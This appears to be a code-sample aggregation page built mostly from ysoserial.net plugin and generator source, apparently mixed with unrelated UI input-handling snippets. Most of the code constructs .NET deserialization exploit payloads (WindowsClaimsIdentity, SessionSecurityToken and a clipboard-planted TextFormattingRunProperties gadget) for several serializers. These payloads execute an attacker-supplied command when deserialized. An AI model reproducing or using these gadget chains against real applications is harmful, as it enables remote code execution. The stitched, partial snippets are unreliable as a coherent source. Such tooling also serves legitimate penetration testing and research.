    <WindowsClaimsIdentity xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns=""http://schemas.datacontract.org/2004/07/Microsoft.IdentityModel.Claims"">
      <System.Security.ClaimsIdentity.bootstrapContext i:type=""x:string"" xmlns="""">{b64encoded}</System.Security.ClaimsIdentity.bootstrapContext>
       </WindowsClaimsIdentity>
</root>";
                }
                else
                {
                    payload = $@"<root type=""Microsoft.IdentityModel.Claims.WindowsClaimsIdentity, Microsoft.IdentityModel, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"">
    <WindowsClaimsIdentity xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns=""http://schemas.datacontract.org/2004/07/Microsoft.IdentityModel.Claims"">
      <System.Security.ClaimsIdentity.actor i:type=""x:string"" xmlns="""">{b64encoded}</System.Security.ClaimsIdentity.actor>
       </WindowsClaimsIdentity>
</root>";
                }

                if (inputArgs.Minify)
                {
                    if (inputArgs.UseSimpleType)
                    {
                        payload = XMLMinifier.Minify(payload, new string[] { "Microsoft.IdentityModel" }, null);
                    }
                    else
                    {
                        payload = XMLMinifier.Minify(payload, null, null);
                    }
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.DataContractSerializer_deserialize(payload, null, "root", "type");
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("netdatacontractserializer"))
            {
                string payload = "";
                if (variant_number == 2)
                {
                    payload = $@"<root>
<w xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" z:Type=""Microsoft.IdentityModel.Claims.WindowsClaimsIdentity"" z:Assembly=""Microsoft.IdentityModel,Version=3.5.0.0,PublicKeyToken=31bf3856ad364e35"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns="""">
  <System.Security.ClaimsIdentity.actor z:Type=""System.String"" z:Assembly=""0"">{b64encoded}</System.Security.ClaimsIdentity.actor>
</w>
</root>
";
                }
                else if (variant_number == 3)
                {
                    payload = $@"<root>
<w xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" z:Type=""Microsoft.IdentityModel.Claims.WindowsClaimsIdentity"" z:Assembly=""Microsoft.IdentityModel,Version=3.5.0.0,PublicKeyToken=31bf3856ad364e35"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns="""">
  <System.Security.ClaimsIdentity.bootstrapContext z:Type=""System.String"" z:Assembly=""0"">{b64encoded}</System.Security.ClaimsIdentity.bootstrapContext>
</w>
</root>
";
                }
                else
                {
                    payload = $@"<root>
<w xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" z:Type=""Microsoft.IdentityModel.Claims.WindowsClaimsIdentity"" z:Assembly=""Microsoft.IdentityModel,Version=3.5.0.0,PublicKeyToken=31bf3856ad364e35"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns="""">
  <_actor z:Type=""System.String"" z:Assembly=""0"" >{b64encoded}</_actor>
  <m_userToken z:Type=""System.IntPtr"" z:Assembly=""0"" xmlns="""">
    <value z:Type=""System.Int64"" z:Assembly=""0"">0</value>
  </m_userToken>
  <_label i:nil=""true""/>
  <_nameClaimType i:nil=""true""/>
  <_roleClaimType i:nil=""true""/>
</w>
</root>
";
                }

                if (inputArgs.Minify)
                {
                    if (inputArgs.UseSimpleType)
                    {
                        payload = XMLMinifier.Minify(payload, new string[] { "Microsoft.IdentityModel" }, null);
                    }
                    else
                    {
                        payload = XMLMinifier.Minify(payload, null, null);
                    }
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.NetDataContractSerializer_deserialize(payload, "root");
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("soapformatter"))
            {
                string payload = "";

                if (variant_number == 2)
                {
                    payload = $@"<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"">
<SOAP-ENV:Body>
    <a1:WindowsClaimsIdentity id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/nsassem/Microsoft.IdentityModel.Claims/Microsoft.IdentityModel, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"">
      <System.Security.ClaimsIdentity.bootstrapContext xsi:type=""xsd:string"" xmlns="""">{b64encoded}</System.Security.ClaimsIdentity.bootstrapContext>
    </a1:WindowsClaimsIdentity>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
                }
                else
                {
                    payload = $@"<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"">
<SOAP-ENV:Body>
    <a1:WindowsClaimsIdentity id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/nsassem/Microsoft.IdentityModel.Claims/Microsoft.IdentityModel, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"">
      <System.Security.ClaimsIdentity.actor xsi:type=""xsd:string"" xmlns="""">{b64encoded}</System.Security.ClaimsIdentity.actor>
    </a1:WindowsClaimsIdentity>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
                }

                if (inputArgs.Minify)
                {
                    if (inputArgs.UseSimpleType)
                    {
                        payload = XMLMinifier.Minify(payload, new string[] { "Microsoft.IdentityModel" }, null, FormatterType.SoapFormatter);
                    }
                    else
                    {
                        payload = XMLMinifier.Minify(payload, null, null, FormatterType.SoapFormatter);
                    }
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.SoapFormatter_deserialize(payload);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(payload);
            }
            else
            {
                throw new Exception("Formatter not supported");
            }
        }
Exemple #36
0
 public virtual bool ProcessEvent(InputArgs args)
 {
     return Input.ProcessInput(args) || Entities.Iterate().Any(e => e.Input.ProcessInput(args));
 }
Exemple #37
0
 void GotKeyEvent(object sender, InputArgs e)
 {
     for (int i = 0; i < e.args.Count; i++)
     {
         if (e.args[i].IsUpDownEvent)
             HandleOtherKey(e.args[i]); // Special keys
         else
             AddChar(e.args[i].Character); // Character keys
     }
 }
Exemple #38
0
        public object Run(string[] args)
        {
            // to solve this error: Current thread must be set to single thread apartment (STA) mode before OLE calls can be made
            // we cannot use the [STAThread] outside of this plugin
            // here is a solution
            var staThread = new Thread(delegate()
            {
                InputArgs inputArgs = new InputArgs();
                List <string> extra;
                try
                {
                    extra                   = options.Parse(args);
                    inputArgs.Cmd           = command;
                    inputArgs.Minify        = minify;
                    inputArgs.UseSimpleType = useSimpleType;
                    inputArgs.Test          = test;
                }
                catch (OptionException e)
                {
                    Console.Write("ysoserial: ");
                    Console.WriteLine(e.Message);
                    Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                    System.Environment.Exit(-1);
                }

                object payload = "";
                if (String.IsNullOrEmpty(command) || String.IsNullOrWhiteSpace(command))
                {
                    Console.Write("ysoserial: ");
                    Console.WriteLine("Incorrect plugin mode/arguments combination");
                    Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                    System.Environment.Exit(-1);
                }

                // Creates a new data object.
                System.Windows.Forms.DataObject myDataObject = new System.Windows.Forms.DataObject();

                myDataObject.SetData(format, false, new AxHostStateMarshal(TextFormattingRunPropertiesGenerator.TextFormattingRunPropertiesGadget(inputArgs))); // for System.Windows.Forms

                /*
                 * myDataObject.SetData(format, new DataSetMarshal(TextFormattingRunPropertiesGenerator.TextFormattingRunPropertiesGadget(inputArgs)), false); // for System.Windows
                 */

                Clipboard.Clear();
                Clipboard.SetDataObject(myDataObject, true);

                if (test)
                {
                    // PoC on how it works in practice
                    try
                    {
                        IDataObject dataObj = Clipboard.GetDataObject();
                        Object test         = dataObj.GetData(format);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
            });

            staThread.SetApartmentState(ApartmentState.STA);
            staThread.Start();
            staThread.Join();

            return("Object copied to the clipboard");
        }
Exemple #39
0
 private void ClosePopup(object sender, InputArgs e)
 {
     Helpers.CloseThisMenu(sender);
 }
        public override object Generate(string formatter, InputArgs inputArgs)
        {
            Generator generator = new TextFormattingRunPropertiesGenerator();

            byte[] binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs);
            string b64encoded             = Convert.ToBase64String(binaryFormatterPayload);

            if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
                formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase))
            {
                var obj = new SessionSecurityTokenMarshal(b64encoded);
                return(Serialize(obj, formatter, inputArgs));
            }
            else if (formatter.ToLower().Equals("json.net"))
            {
                string payload = "{'$type': 'System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'SessionToken':{'$type':'System.Byte[], mscorlib','$value':'" + GetB64SessionToken(b64encoded) + "'}}";

                if (inputArgs.Minify)
                {
                    payload = JSONMinifier.Minify(payload, new string[] { "System.IdentityModel" }, null);
                }


                if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.JsonNet_deserialize(payload);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("datacontractserializer"))
            {
                string payload = $@"<root type=""System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""><SessionSecurityToken xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns=""http://schemas.datacontract.org/2004/07/System.IdentityModel.Tokens"">
  <SessionToken i:type=""x:base64Binary"" xmlns="""">{GetB64SessionToken(b64encoded)}</SessionToken>
</SessionSecurityToken></root>";

                if (inputArgs.Minify)
                {
                    payload = XMLMinifier.Minify(payload, null, null);
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.DataContractSerializer_deserialize(payload, null, "root", "type");
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("netdatacontractserializer"))
            {
                string payload = $@"<w xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" z:Id=""1"" z:Type=""System.IdentityModel.Tokens.SessionSecurityToken"" z:Assembly=""System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns="""">
  <SessionToken z:Type=""System.Byte[]"" z:Assembly=""0"" xmlns="""">{GetB64SessionToken(b64encoded)}</SessionToken>
</w>";

                if (inputArgs.Minify)
                {
                    payload = XMLMinifier.Minify(payload, null, null);
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.NetDataContractSerializer_deserialize(payload);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("soapformatter"))
            {
                string payload = $@"<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"">
<SOAP-ENV:Body>
<a1:SessionSecurityToken id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/nsassem/System.IdentityModel.Tokens/System.IdentityModel%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"">
<SessionToken href=""#ref-3""/>
</a1:SessionSecurityToken>
<SOAP-ENC:Array id=""ref-3"" xsi:type=""SOAP-ENC:base64"">{GetB64SessionToken(b64encoded)}</SOAP-ENC:Array>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";

                if (inputArgs.Minify)
                {
                    payload = XMLMinifier.Minify(payload, null, null, FormatterType.SoapFormatter);
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.SoapFormatter_deserialize(payload);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(payload);
            }
            else
            {
                throw new Exception("Formatter not supported");
            }
        }